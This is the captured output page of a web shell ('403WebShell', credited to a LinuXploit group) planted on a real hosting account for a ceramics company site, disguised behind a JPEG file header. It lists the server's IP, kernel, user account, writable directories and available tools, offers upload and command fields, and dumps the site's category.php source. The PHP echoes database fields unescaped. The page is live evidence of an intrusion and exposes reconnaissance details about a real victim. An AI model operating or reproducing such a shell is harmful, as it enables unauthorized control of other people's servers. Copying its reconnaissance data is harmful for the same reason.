���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 93.127.173.7  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/nexusceramic.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/nexusceramic.com/public_html//category.php
<?php
session_start();
error_reporting(0);
include('includes/config.php');
$cid = intval($_GET['cid']);
$query = "SELECT meta_title, meta_keywords, meta_description, canonical FROM `category` WHERE id='$cid'";
$result = mysqli_query($con, $query);
$row = mysqli_fetch_assoc($result);
$categoryQuery = mysqli_query($con, "SELECT categoryName, categoryDescription FROM category WHERE id='$cid'");
$category = mysqli_fetch_assoc($categoryQuery);
$productsQuery = mysqli_query($con, "SELECT * FROM project_pdf WHERE category='$cid'");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
    <title><?php echo ($row['meta_title']); ?></title>
    <meta content="<?php echo ($row['meta_keywords']); ?>" name="keywords">
    <meta content="<?php echo ($row['meta_description']); ?>" name="description">
    <link rel="canonical" href="<?php echo htmlentities($row['canonical']); ?>" />

    <?php include('assets.php'); ?>
</head>

<body>
    <div class="boxed_wrapper">
        <?php include('header.php'); ?>

        <section class="page-title centred" style="background-image: url(assets/images/about-breadcramb.jpg);">
            <div class="auto-container">
                <div class="content-box">
                    <div class="title">
                        <h1><?php echo htmlentities($category['categoryName']); ?></h1>
                    </div>
                    <ul class="bread-crumb clearfix">
                        <li><a href="index.php">Home</a></li>
                        <li><?php echo htmlentities($category['categoryName']); ?></li>
                    </ul>
                </div>
            </div>
        </section>

        <div class="container">
            <div class="row">
                <div class="col-12 mt-5">
                    <h5 class="text-center list-heading text-uppercase"><?php echo htmlentities($category['categoryName']); ?></h5>
                    <p class="mt-3"><?php echo ($category['categoryDescription']); ?></p>
                </div>
                <?php
                    $num = mysqli_num_rows($productsQuery);
                    if ($num > 0) {
                        while ($row = mysqli_fetch_array($productsQuery)) {
                ?>
                <div class="col-12 col-md-6 col-lg-4 my-4">
                    <a href="product-admin/pdf/<?php echo htmlentities($row['filename']); ?>" target="_blank">
                        <img class="list-img" src="product-admin/images/<?php echo htmlentities($row['productimage1']); ?>" alt="Product" title="<?php echo htmlentities($row['title']); ?>" />
                    </a>
                    <a href="product-admin/pdf/<?php echo htmlentities($row['filename']); ?>" target="_blank">
                    <h6 class="mt-3 text-center"><?php echo htmlentities($row['title']); ?></h6>
                    </a>
                </div>
                <?php
                        }
                    } else {
                ?>
                   <div class="col-12 text-center mt-4 mb-3">
    <h4 style="font-weight: bold; color: #ff7777;">No Product Found In This Category</h4>
</div>

                <?php
                    }
                ?>
            </div>
        </div>

        <?php include('footer.php'); ?>
    </div>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit